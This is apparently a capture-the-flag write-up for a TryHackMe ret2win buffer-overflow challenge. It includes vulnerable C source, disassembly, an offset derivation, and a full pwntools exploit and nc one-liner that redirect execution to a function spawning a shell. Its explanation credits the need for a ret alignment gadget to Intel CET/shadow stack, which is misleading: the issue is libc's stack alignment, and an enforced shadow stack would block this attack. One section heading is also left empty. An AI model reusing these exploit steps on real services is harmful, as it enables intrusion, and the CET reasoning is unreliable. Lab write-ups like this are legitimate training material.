M4cCrypt0
back to overview

Ret2Win with Stack-Alignment Fix (CET/SHSTK)

Summary

Classic ret2win: the return address of vuln() is overwritten with the address of win(), which calls system("/bin/sh"). The binary is compiled with Intel CET (SHSTK + IBT), which adds an extra complication the standard TryHackMe hint doesn't cover.

Reference code

c
int win(){
    system("/bin/sh");
}

void vuln(){
    char *buf[0x20];
    puts("Return to where? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    vuln();
}

checksec

text
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

Comparison with the TryHackMe hint

The room's official hint reasons as follows:

buf is 32 bytes, so the return address is probably at offset 40 bytes (32 bytes buffer + 8 bytes saved frame pointer).

This is not correct for this specific binary, and it's a classic pitfall:

c
char *buf[0x20];

This is not an array of 32 chars (char buf[0x20]), but an array of 32 pointers — on x86-64 each pointer is 8 bytes, so the actual buffer size is 0x20 * 8 = 256 bytes, not 32.

The disassembly of vuln() confirms this:

asm
sub    $0x100,%rsp              ; 0x100 = 256 bytes reserved, not 32
lea    -0x100(%rbp),%rax        ; buf starts at rbp-0x100
mov    $0x200,%edx              ; read() reads up to 512 bytes

The real offset to the return address is:

text
0x100 (buf to rbp)  +  0x8 (saved rbp)  =  0x108  =  264 bytes

So 264 bytes of padding, not 40. The cyclic-pattern method from the hint (cyclic(200) + crash + look up the offset) is fine as a technique and generally applicable, but the hint misjudges the buffer size itself. Correct is:

python
from pwn import *
print(cyclic(300))   # larger than 264, so you're sure to hit the return address

followed by actually working it out via disassembly (or cyclic_find() on the crashed value), instead of blindly trusting the C declaration.

The TryHackMe hint also misses: CET / Shadow Stack alignment

The hint stops at "send padding + address of win()". For this binary that's not enough — a bare ret2win produces a crash. Important to distinguish:

The fix: an extra ret gadget

Found in the binary itself, a standalone ret:

asm
0000000000401180 <__do_global_dtors_aux+0x20>:
  401180: c3    ret

By jumping to this address first (which does nothing but "eat" 8 bytes of the stack and jump on), the alignment is corrected by 8 bytes before win() and system() run.

Final exploit

python
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

ret_gadget = 0x401180   # standalone 'ret' gadget, fixes stack alignment
win_addr   = 0x4011dd   # via `nm ./tryretme | grep win`

offset = 264            # via disassembly: sub $0x100,%rsp + 8 bytes saved rbp

payload = b'A' * offset + p64(ret_gadget) + p64(win_addr)

p = remote('<target-ip>', <port>)
p.recvuntil(b'Return to where? : ')
p.send(payload)
p.interactive()

Without pwntools:

bash
python3 -c "
import struct, sys
payload = b'A'*264 + struct.pack('<Q', 0x401180) + struct.pack('<Q', 0x4011dd)
sys.stdout.buffer.write(payload)
" > payload.bin

cat payload.bin - | nc <target-ip> <port>

Conclusion: why this is more than the generic hint

Step TryHackMe hint Reality for this binary
Offset 40 bytes (32 buf + 8 rbp) 264 bytes (256 buf + 8 rbp), because char *buf[0x20] = pointer array, not char array
Payload padding + win() address padding + standalone ret gadget + win() address
Reason for extra step not mentioned CET-compiled binary requires correct stack alignment before the system() call in win(), otherwise a general protection fault in libc

The generic hint describes the base technique correctly, but assumes every char buf[N]-like declaration is literally N bytes and that a bare ret2win always works. Both assumptions were wrong here, and required disassembly verification and an extra alignment gadget respectively to get the exploit working.